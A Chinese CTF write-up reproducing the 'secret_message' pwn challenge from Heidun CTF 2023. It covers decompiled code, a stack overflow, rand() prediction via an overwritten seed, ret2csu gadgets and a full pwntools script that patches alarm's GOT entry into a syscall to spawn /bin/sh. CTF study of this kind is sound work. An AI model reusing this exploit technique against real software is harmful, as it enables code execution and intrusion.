[黑盾CTF 2023] secret_message 复现

2023-10-31 22:10

本文主要是介绍[黑盾CTF 2023] secret_message 复现,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

赛后拿到题目和pwn_ckyan的WP,复现一下,这个题坑还是不小的。120分钟的比赛,只作这一个题还差不多。

先看题。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{char buf[48]; // [rsp+0h] [rbp-30h] BYREFinit_0();if ( check() )read(0, buf, 0x100uLL);return 0LL;
}

main很直白,先是个init这里有个alarm也算很常见的方法,然后是个检查,检查通过后就是个有溢出的写。

_BOOL8 check()
{__int64 s[4]; // [rsp+0h] [rbp-50h] BYREFchar v2[32]; // [rsp+20h] [rbp-30h] BYREFunsigned int seed; // [rsp+40h] [rbp-10h]int v4; // [rsp+48h] [rbp-8h]int i; // [rsp+4Ch] [rbp-4h]seed = time(0LL);memset(v2, 0, sizeof(v2));memset(s, 0, sizeof(s));strcpy((char *)s, "s0d0ao2lnfic9alsl2lmxncbzyqi1j2");sub_4008D1(v2, 32);srand(seed);for ( i = 0; i <= 30; ++i ){v4 = rand() % 16;*((_BYTE *)s + i) ^= v4;}return strcmp(v2, (const char *)s) == 0;
}

check先取了个时间作为种子,然后把一个密文放到栈上,然后执行sub_4008D1,回来后置种子,再把密文与rand%16异或,然后比较。这里都比较容易,就是srand为什么放到离seed这么远。

char *__fastcall sub_4008D1(char *a1, int a2)
{int v2; // edxchar *result; // raxint v5; // [rsp+14h] [rbp-Ch]char *buf; // [rsp+18h] [rbp-8h]buf = a1;while ( a2 ){v5 = read(0, buf, a2);if ( v5 < 0 )exit(1);a2 -= v5;buf += v5;                                  // 指针保持在数据尾部}v2 = strlen(a1);                              // 读入0x20result = buf;*(_DWORD *)buf = v2;                          // 用串长度0x1f覆盖seedreturn result;
}

这里边有些小细节,放入数据放到buf,buf是参数引入的,向check的buf写入,读不满不会退出。

这里有个buf+= v5; 每读一次就把指针后移保证下次从尾部接着读,结束读后次串长度存入buf。

  __int64 s[4]; // [rsp+0h] [rbp-50h] BYREFchar v2[32]; // [rsp+20h] [rbp-30h] BYREFunsigned int seed; // [rsp+40h] [rbp-10h]int v4; // [rsp+48h] [rbp-8h]int i; // [rsp+4Ch] [rbp-4h]

再回来看check的栈,v2存读入的32个字节,后边是seed,从上个函数看,这里被存入的串长度覆盖。因为后边要进行strcmp所以输入应该是31个字符和一个\x00,这里字符串长度应该是31(0x1f),也就是说刚开始放的种time(0)被改为0x1f

对于有足够长溢出的情况下,一般是先puts(got[puts])+main先泄露libc,再system(/bin/sh),但是这个题目似乎一直就没有输入。看下got表

.got.plt:0000000000601018 B0 10 60 00 00 00 00 00       off_601018 dq offset strlen             ; DATA XREF: _strlen↑r
.got.plt:0000000000601020 B8 10 60 00 00 00 00 00       off_601020 dq offset memset             ; DATA XREF: _memset↑r
.got.plt:0000000000601028 C0 10 60 00 00 00 00 00       off_601028 dq offset alarm              ; DATA XREF: _alarm↑r
.got.plt:0000000000601030 C8 10 60 00 00 00 00 00       off_601030 dq offset read               ; DATA XREF: _read↑r
.got.plt:0000000000601038 D0 10 60 00 00 00 00 00       off_601038 dq offset __libc_start_main  ; DATA XREF: ___libc_start_main↑r
.got.plt:0000000000601040 D8 10 60 00 00 00 00 00       off_601040 dq offset srand              ; DATA XREF: _srand↑r
.got.plt:0000000000601048 E0 10 60 00 00 00 00 00       off_601048 dq offset strcmp             ; DATA XREF: _strcmp↑r
.got.plt:0000000000601050 E8 10 60 00 00 00 00 00       off_601050 dq offset time               ; DATA XREF: _time↑r
.got.plt:0000000000601058 F0 10 60 00 00 00 00 00       off_601058 dq offset setvbuf            ; DATA XREF: _setvbuf↑r
.got.plt:0000000000601060 F8 10 60 00 00 00 00 00       off_601060 dq offset exit               ; DATA XREF: _exit↑r
.got.plt:0000000000601068 00 11 60 00 00 00 00 00       off_601068 dq offset rand               ; DATA XREF: _rand↑r

确实没有puts类的输出函数。那么这个问题就来了,怎么弄。

前天写的单次调用写了3个存的模板,对于2.35以后的用一个add 的gadget对got表加偏移改为system。这里是2.27,所以这个方法不适用。这个是传统的ret2csu。

ret2csu使用两个gadget:ppp6和move_call这两个可利用的gadget在程序调入时使用的init函数里

.text:0000000000400A90                               ; void __fastcall init(unsigned int, __int64, __int64)
.text:0000000000400A90                               init proc near                          ; DATA XREF: start+16↑o
.text:0000000000400A90                               ; __unwind {
.text:0000000000400A90 41 57                         push    r15
.text:0000000000400A92 41 56                         push    r14
.text:0000000000400A94 41 89 FF                      mov     r15d, edi
.text:0000000000400A97 41 55                         push    r13
.text:0000000000400A99 41 54                         push    r12
.text:0000000000400A9B 4C 8D 25 6E 03 20 00          lea     r12, off_600E10
.text:0000000000400AA2 55                            push    rbp
.text:0000000000400AA3 48 8D 2D 6E 03 20 00          lea     rbp, off_600E18
.text:0000000000400AAA 53                            push    rbx
.text:0000000000400AAB 49 89 F6                      mov     r14, rsi
.text:0000000000400AAE 49 89 D5                      mov     r13, rdx
.text:0000000000400AB1 4C 29 E5                      sub     rbp, r12
.text:0000000000400AB4 48 83 EC 08                   sub     rsp, 8
.text:0000000000400AB8 48 C1 FD 03                   sar     rbp, 3
.text:0000000000400ABC E8 B7 FB FF FF                call    _init_proc
.text:0000000000400ABC
.text:0000000000400AC1 48 85 ED                      test    rbp, rbp
.text:0000000000400AC4 74 20                         jz      short loc_400AE6
.text:0000000000400AC4
.text:0000000000400AC6 31 DB                         xor     ebx, ebx
.text:0000000000400AC8 0F 1F 84 00 00 00 00 00       nop     dword ptr [rax+rax+00000000h]
.text:0000000000400AC8
.text:0000000000400AD0
.text:0000000000400AD0                               loc_400AD0:                             ; CODE XREF: init+54↓j
.text:0000000000400AD0 4C 89 EA                      mov     rdx, r13
.text:0000000000400AD3 4C 89 F6                      mov     rsi, r14
.text:0000000000400AD6 44 89 FF                      mov     edi, r15d
.text:0000000000400AD9 41 FF 14 DC                   call    qword ptr [r12+rbx*8]
.text:0000000000400AD9
.text:0000000000400ADD 48 83 C3 01                   add     rbx, 1
.text:0000000000400AE1 48 39 EB                      cmp     rbx, rbp
.text:0000000000400AE4 75 EA                         jnz     short loc_400AD0
.text:0000000000400AE4
.text:0000000000400AE6
.text:0000000000400AE6                               loc_400AE6:                             ; CODE XREF: init+34↑j
.text:0000000000400AE6 48 83 C4 08                   add     rsp, 8
.text:0000000000400AEA 5B                            pop     rbx
.text:0000000000400AEB 5D                            pop     rbp
.text:0000000000400AEC 41 5C                         pop     r12
.text:0000000000400AEE 41 5D                         pop     r13
.text:0000000000400AF0 41 5E                         pop     r14
.text:0000000000400AF2 41 5F                         pop     r15
.text:0000000000400AF4 C3                            retn
.text:0000000000400AF4                               ; } // starts at 400A90
.text:0000000000400AF4
.text:0000000000400AF4                               init endp

 ppp6就是从0x400AEA开始的从栈上弹出到6个寄存器。这6个寄存器基本上不怎么用。

mov_call是这段前边0x400AD0开始,将r13,r14,r15d存入rdx,rsi,edi然后调用[r12+rbx*8],这两个配合使用实现填充rsi,rdi并实现call,一般rbx置0,用r12作为调用指针,rdi,rsi为1参2参。

这时候就可以开干了,问题得干起来才能慢慢解决。

第1步要给程序打patch,虽然可以用环境变量调入,但有时候会有些问题,毕竟不可能虚机都跟比赛用的Docker差不多,patchelf还是比较好的办法。

先看下给的libc版本,虽然给的 2.27但2.27也有很多小版本,最好是一样的。

┌──(kali㉿kali)-[~/ctf/0520]
└─$ strings libc-2.27.so|grep ubuntu
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27.
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

然后打上patch

patchelf --add-needed ~/glibc/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so pwn
patchelf --set-interpreter ~/glibc/libs/2.27-3ubuntu1.6_amd64/ld-2.27.so pwn

这时候这个环境跟Docker就比较像了,但还是有差别,不过不影响运行

思路:

  1. 通过check,ctypes调用srand,rand得到预测的值生成密文
  2. 调用read修改alarm的got表,alarm向后偏移,去掉无用部分得到一个syscall
  3. 再次调用read向bss的可写区写/bin/sh 并利用返回值(长度)存入rax,给rax填入59(execv的中断调用号)
  4. 用gadget调用alarm(已改为syscall)获得shell

第1块是要过这个check(名字是后来在ida里为方便看自己改的,这也算是个习惯吧。虽然浪费点时间但是以后看起来方便)

置种和取rand这块前边写过用ctypes调用libc,由于不同版本的libc里 rand函数基本不变,所以并不一定要用完全相同的版本。

from pwn import *
from ctypes import *binary = './pwn'p = process(binary)
context(arch='amd64', log_level='debug')elf = ELF(binary)
libc = ELF('./libc-2.27.so')
clibc = cdll.LoadLibrary("/home/kali/glibc/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")#clibc.srand(clibc.time(0))
# *(_DWORD *)buf = v2;      // 用串长度0x1f覆盖seed
clibc.srand(0x1f)  sec = b"s0d0ao2lnfic9alsl2lmxncbzyqi1j2"
s = bytes([v^(clibc.rand()%16) for v in sec]) + b'\x00'
p.send(s)
print('send:',s)

这块过了以后,后边跟return时的现场有关,比如当时的寄存器和查看写入的payload,所以这里在return前下断点,观察。

 这里rdi=0这里已经有rdi,只需要pop rsi即可,如果rdi没有就弹一次rdi,在pop r15;ret,一般大多情况下pop rdi;pop rsi都是有的,可以用ROPgadget在程序里找。pop rdi就在ppp6的尾部pop r15; ret的错位。pop rsi;pop r15;ret是ppp6尾部pop r14;pop r15;ret的错位。经常是rdx比较难弄,不过read函数只要不是太小就能用。这里是0x100足够了。

┌──(kali㉿kali)-[~/ctf/0520/secret_message]
└─$ ROPgadget --binary pwn --only 'pop|ret'             
Gadgets information
============================================================
0x0000000000400aec : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400aee : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400af0 : pop r14 ; pop r15 ; ret
0x0000000000400af2 : pop r15 ; ret
0x0000000000400aeb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400aef : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007d0 : pop rbp ; ret
0x0000000000400af3 : pop rdi ; ret
0x0000000000400af1 : pop rsi ; pop r15 ; ret
0x0000000000400aed : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400691 : ret
0x00000000003fc0f9 : ret 0x3f

现在看alarm的情况

gef➤  x/5i &alarm0x7ffff78e44f0 <alarm>:      mov    eax,0x250x7ffff78e44f5 <alarm+5>:    syscall

可以看到alarm的代码给eax填充后就直接调用syscall,由于程序加载里尾12位(1个半字节)不发生变化,所以只需要把got表里的尾字节f0改成f5就直接得到syscall

第2次read需要将rsi改为随便一个可写地址,一般在bss的后部。bss一般程序只用了前边一点儿,而一个段至少0x1000字节,所以后边写是比较安全的。rax里存read的反回值这里执行完read后,如果read的长度是59正好是exec的syscall调用号。

后一半代码

#gdb.attach(p, "b*0x400a8d\nc")pop_rdi = 0x0000000000400af3 # pop rdi ; ret
pop_rsi_r15 = 0x0000000000400af1 # pop rsi ; pop r15 ; ret
ppp6 = 0x400AEA
mov_call = 0x400AD0
got_alarm = 0x601028
buf = 0x601800pay = b'A'*0x38 + flat([pop_rsi_r15, elf.got['alarm'], 0, elf.sym['read'],  #sym['alarm']+5 = syscall pop_rsi_r15, buf, 0, elf.sym['read'],   #read /bin/sh  len(payload)=0x3b rax=0x3bppp6, 0,0, elf.got['alarm'], 0,0, buf,  # r12=got.alarm r15=bufmov_call                                #])
p.send(pay.ljust(0x100, b'\x00'))p.send(b'\xf5')   #0x7ffff78e44f0 <alarm>: 0xb8 0x25 0x0 0x0 0x0 0xf 0x5 0x48    +5=0f05 syscall 输入尾号f5修改alarm为syscall
p.send(b'/bin/sh'.ljust(0x3b, b'\x00'))p.interactive()

这篇关于[黑盾CTF 2023] secret_message 复现的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/318465

相关文章

90、k8s之secret+configMap

一、secret配置管理 配置管理: 加密配置:保存密码,token,其他敏感信息的k8s资源 应用配置:我们需要定制化的给应用进行配置,我们需要把定制好的配置文件同步到pod当中容器 1.1、加密配置: secret: [root@master01 ~]# kubectl get secrets ##查看加密配置[root@master01 ~]# kubectl get se

CSP 2023 提高级第一轮 CSP-S 2023初试题 完善程序第二题解析 未完

一、题目阅读 (最大值之和)给定整数序列 a0,⋯,an−1,求该序列所有非空连续子序列的最大值之和。上述参数满足 1≤n≤105 和 1≤ai≤108。 一个序列的非空连续子序列可以用两个下标 ll 和 rr(其中0≤l≤r<n0≤l≤r<n)表示,对应的序列为 al,al+1,⋯,ar​。两个非空连续子序列不同,当且仅当下标不同。 例如,当原序列为 [1,2,1,2] 时,要计算子序列 [

HNU-2023电路与电子学-实验3

写在前面: 一、实验目的 1.了解简易模型机的内部结构和工作原理。 2.分析模型机的功能,设计 8 重 3-1 多路复用器。 3.分析模型机的功能,设计 8 重 2-1 多路复用器。 4.分析模型机的工作原理,设计模型机控制信号产生逻辑。 二、实验内容 1.用 VERILOG 语言设计模型机的 8 重 3-1 多路复用器; 2.用 VERILOG 语言设计模型机的 8 重 2-1 多

Detectorn2预训练模型复现:数据准备、训练命令、日志分析与输出目录

Detectorn2预训练模型复现:数据准备、训练命令、日志分析与输出目录 在深度学习项目中,目标检测是一项重要的任务。本文将详细介绍如何使用Detectron2进行目标检测模型的复现训练,涵盖训练数据准备、训练命令、训练日志分析、训练指标以及训练输出目录的各个文件及其作用。特别地,我们将演示在训练过程中出现中断后,如何使用 resume 功能继续训练,并将我们复现的模型与Model Zoo中的

UMI复现代码运行逻辑全流程(一)——eval_real.py(尚在更新)

一、文件夹功能解析 全文件夹如下 其中,核心文件作用为: diffusion_policy:扩散策略核心文件夹,包含了众多模型及基础库 example:标定及配置文件 scripts/scripts_real:测试脚本文件,区别在于前者倾向于单体运行,后者为整体运行 scripts_slam_pipeline:orb_slam3运行全部文件 umi:核心交互文件夹,作用在于构建真

文章解读与仿真程序复现思路——电力自动化设备EI\CSCD\北大核心《考虑燃料电池和电解槽虚拟惯量支撑的电力系统优化调度方法》

本专栏栏目提供文章与程序复现思路,具体已有的论文与论文源程序可翻阅本博主免费的专栏栏目《论文与完整程序》 论文与完整源程序_电网论文源程序的博客-CSDN博客https://blog.csdn.net/liang674027206/category_12531414.html 电网论文源程序-CSDN博客电网论文源程序擅长文章解读,论文与完整源程序,等方面的知识,电网论文源程序关注python

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

2023 CCPC(秦皇岛)现场(第二届环球杯.第 2 阶段:秦皇岛)部分题解

所有题目链接:Dashboard - The 2023 CCPC (Qinhuangdao) Onsite (The 2nd Universal Cup. Stage 9: Qinhuangdao) - Codeforces 中文题面: contest-37054-zh.pdf (codeforces.com) G. Path 链接: Problem - G - Codeforces

【vulhub】thinkphp5 2-rce 5.0.23-rce 5-rce 漏洞复现

2-rec 1.启动环境  cd /.../vulhub/thinkphp/2-rce # cd进入2-rce靶场文件环境下docker-compose up -d # docker-compose启动靶场docker ps -a # 查看开启的靶场信息 2.访问192.168.146.136:8080网页 3.构造payload http

【漏洞复现】赛蓝企业管理系统 GetJSFile 任意文件读取漏洞

免责声明:         本文内容旨在提供有关特定漏洞或安全漏洞的信息,以帮助用户更好地了解可能存在的风险。公布此类信息的目的在于促进网络安全意识和技术进步,并非出于任何恶意目的。阅读者应该明白,在利用本文提到的漏洞信息或进行相关测试时,可能会违反某些法律法规或服务协议。同时,未经授权地访问系统、网络或应用程序可能导致法律责任或其他严重后果。作者不对读者基于本文内容而产生的任何行为或后果承担